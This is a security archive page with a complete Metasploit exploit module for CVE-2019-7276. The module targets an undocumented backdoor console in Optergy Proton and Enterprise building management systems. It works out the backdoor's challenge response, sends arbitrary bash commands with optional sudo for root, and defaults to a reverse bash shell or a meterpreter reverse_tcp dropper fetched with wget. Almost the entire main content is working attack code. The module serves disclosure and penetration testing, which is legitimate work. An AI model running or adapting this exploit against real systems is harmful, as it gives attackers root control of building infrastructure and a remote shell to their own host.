exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Optergy Proton And Enterprise BMS 2.0.3a Command Injection

Optergy Proton And Enterprise BMS 2.0.3a Command Injection
Posted Mar 28, 2023
Authored by h00die-gr3y, Gjoko Krstic | Site metasploit.com

This Metasploit module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise Building Management System (BMS) applications. Versions 2.0.3a and below are vulnerable. Attackers can exploit this issue by directly navigating to an undocumented backdoor script called Console.jsp in the tools directory and gain full system access. Successful exploitation results in root command execution using sudo as user optergy.

tags | exploit, root
advisories | CVE-2019-7276
SHA-256 | 33babb5810832b13a94e71c123fd7427e2dfe9cd4f92a96b062b362c7592affd

Optergy Proton And Enterprise BMS 2.0.3a Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',
'Description' => %q{
This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise
Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.
Attackers can exploit this issue by directly navigating to an undocumented backdoor script
called Console.jsp in the tools directory and gain full system access.
Successful exploitation results in `root` command execution using `sudo` as user `optergy`.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor
'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery
],
'References' => [
[ 'CVE', '2019-7276'],
[ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ],
[ 'URL', 'https://optergy.com/products/proton/' ],
[ 'URL', 'https://optergy.com/products/optergy-enterprise/' ],
[ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ],
[ 'EDB', '47641'],
[ 'PACKETSTORM', '155258']
],
'DisclosureDate' => '2019-11-05',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => "\x20" },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ])
]
)
end

def execute_command(cmd, _opts = {})
# Step 1: get the challenge and compute the response answer for the backdoor execution
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')
})
if res.nil? || (res.code != 200)
return nil
else
# Get and create a challenge response
res_json = res.get_json_document
return nil if res_json.nil? || res_json.blank?

# Get the challenge
challenge = res_json['response']['message']
# Make SHA1 hash from received challenge
h1 = Digest::SHA1.hexdigest challenge
# Make MD5 hash from SHA1 hash
h2 = Digest::MD5.hexdigest h1
# Combine MD5 hash and SHA1 hash as answer (response) to the challenge
answer = h1 + h2
end

# Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1.
if target['Type'] == :linux_dropper
cmd = cmd.gsub(' ') { '${IFS}' }
end

if datastore['SUDO']
payload = "sudo bash -c #{cmd}"
else
payload = "bash -c #{cmd}"
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'command' => payload,
'challenge' => challenge,
'answer' => answer
}
})
if res.nil? || (res.code != 200)
return nil
else
# get result and return the command response
res_json = res.get_json_document
return nil if res_json.nil? || res_json.blank?

res_cmd_output = res_json['response']['message']
return res_cmd_output
end
end

# Checking if the target is vulnerable by executing the whoami command via the backdoor
def check
res = execute_command('whoami')
return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy')

Exploit::CheckCode::Vulnerable
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
res = execute_command(payload.encoded)
fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil?
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager
end
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close